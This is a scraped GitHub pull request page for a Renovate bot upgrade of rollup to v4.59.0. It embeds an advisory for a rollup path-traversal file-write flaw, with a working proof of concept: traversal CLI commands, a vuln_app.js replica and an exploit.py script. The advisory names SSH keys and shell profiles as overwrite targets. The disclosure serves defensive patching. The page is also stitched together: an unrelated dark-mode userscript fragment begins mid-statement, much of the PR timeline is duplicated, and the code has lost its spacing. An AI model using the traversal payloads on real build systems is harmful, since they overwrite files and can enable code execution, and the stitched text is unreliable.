Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0971009084100
Added@​rollup/​plugin-node-resolve@​16.0.19810010086100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+196+5100
Added@​rollup/​plugin-commonjs@​28.0.69710010093100
View full report
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated
Confidence: 0.91
Location:Package overview
From:pnpm-lock.yaml → npm/@nx/react@21.5.3 → npm/vite@7.1.5
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/vite@7.1.5. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
fc22925 to
f8c8592CompareMarch 13, 2026 17:22
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
f8c8592 to
c80f927CompareMarch 26, 2026 17:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Mar 26, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c80f927 to
b91b4ebCompareMarch 26, 2026 20:57
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 26, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-rollup-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
9086cc9 to
b704852CompareApril 1, 2026 17:03
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:03
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
b704852 to
59fd8faCompareApril 1, 2026 22:13
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
59fd8fa to
316d3caCompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
95559e9 to
15d4a3dCompareApril 23, 2026 11:54
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 23, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
15d4a3d to
662ce8aCompareApril 23, 2026 14:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 23, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026

auto-merge was automatically disabled
April 27, 2026 17:55
Pull request was closed
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 27, 2026
@renovaterenovateBot
reopened this
Apr 27, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
2e48feb to
738b7d2CompareApril 29, 2026 09:44
@renovate
renovateBot
enabled auto-merge (squash)
April 29, 2026 09:44
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
738b7d2 to
85f4ec9CompareApril 29, 2026 19:47
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
85f4ec9 to
3b6d301CompareApril 30, 2026 13:34
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
3b6d301 to
017d3e9CompareApril 30, 2026 18:00
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
017d3e9 to
cca5542CompareMay 12, 2026 10:20
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
cca5542 to
c6bf339CompareMay 12, 2026 16:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c6bf339 to
bd59b6bCompareMay 14, 2026 17:52
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
bd59b6b to
145bfdcCompareMay 14, 2026 20:51
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
145bfdc to
da0879fCompareMay 18, 2026 12:42
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode");
}
} catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); }
})();
})();

Skip to content
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - #211
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Open
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]#211
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
rollup (source)4.52.2 → 4.59.0ageconfidence
rollup (source)^4.52.3 → ^4.59.0ageconfidence
Rollup 4 has Arbitrary File Write via Path Traversal
CVE-2026-27606 / GHSA-mw96-cpmx-2vgc
More information
Details
Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
    // src/utils/sanitizeFileName.ts (Line 3)constINVALID_CHAR_REGEX=/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
    // src/rollup/rollup.ts (Line 317)constfileName=resolve(outputOptions.dir||dirname(outputOptions.file!),outputFile.fileName);
    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:

    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided :
  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY *  * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');
exploit.py
importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist
image
Impact
This is a High level of severity vulnerability.
  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Severity
  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
rollup/rollup (rollup)
v4.59.0
Compare Source
2026-02-22
Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests
v4.58.0
Compare Source
2026-02-20
Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests
v4.57.1
Compare Source
2026-01-30
Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests
v4.57.0
Compare Source
2026-01-27
Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests
v4.56.0
Compare Source
2026-01-22
Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests
v4.55.3
Compare Source
2026-01-21
Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests
v4.55.2
Compare Source
2026-01-19
Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests
v4.55.1
Compare Source
2026-01-05
Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests
v4.54.0
Compare Source
2025-12-20
Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests
v4.53.5
Compare Source
2025-12-16
Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests
v4.53.4
Compare Source
2025-12-15
Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests
v4.53.3
Compare Source
2025-11-19
Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests
v4.53.2
Compare Source
2025-11-10
Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests
v4.53.1
Compare Source
2025-11-07
Bug Fixes
Pull Requests
v4.53.0
Compare Source
2025-11-07
Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests
v4.52.5
Compare Source
2025-10-18
Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests
v4.52.4
Compare Source
2025-10-03
Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests
v4.52.3
Compare Source
2025-09-27
Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamMarch 1, 2026 01:49
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Mar 1, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersMarch 1, 2026 01:49
@renovate
renovateBot
enabled auto-merge (squash)
March 1, 2026 01:49
@deepsource-io
deepsource-ioBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 8:58p.m.Review ↗
ShellMar 26, 2026 8:58p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c971e0c to
fc22925CompareMarch 5, 2026 15:35
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0971009084100
Added@​rollup/​plugin-node-resolve@​16.0.19810010086100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+196+5100
Added@​rollup/​plugin-commonjs@​28.0.69710010093100
View full report
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated
Confidence: 0.91
Location:Package overview
From:pnpm-lock.yaml → npm/@nx/react@21.5.3 → npm/vite@7.1.5
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/vite@7.1.5. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
fc22925 to
f8c8592CompareMarch 13, 2026 17:22
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
f8c8592 to
c80f927CompareMarch 26, 2026 17:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Mar 26, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c80f927 to
b91b4ebCompareMarch 26, 2026 20:57
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 26, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-rollup-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
9086cc9 to
b704852CompareApril 1, 2026 17:03
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:03
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
b704852 to
59fd8faCompareApril 1, 2026 22:13
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
59fd8fa to
316d3caCompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
95559e9 to
15d4a3dCompareApril 23, 2026 11:54
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 23, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
15d4a3d to
662ce8aCompareApril 23, 2026 14:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 23, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026

auto-merge was automatically disabled
April 27, 2026 17:55
Pull request was closed
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 27, 2026
@renovaterenovateBot
reopened this
Apr 27, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
2e48feb to
738b7d2CompareApril 29, 2026 09:44
@renovate
renovateBot
enabled auto-merge (squash)
April 29, 2026 09:44
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
738b7d2 to
85f4ec9CompareApril 29, 2026 19:47
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
85f4ec9 to
3b6d301CompareApril 30, 2026 13:34
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
3b6d301 to
017d3e9CompareApril 30, 2026 18:00
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
017d3e9 to
cca5542CompareMay 12, 2026 10:20
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
cca5542 to
c6bf339CompareMay 12, 2026 16:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c6bf339 to
bd59b6bCompareMay 14, 2026 17:52
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
bd59b6b to
145bfdcCompareMay 14, 2026 20:51
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
145bfdc to
da0879fCompareMay 18, 2026 12:42
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants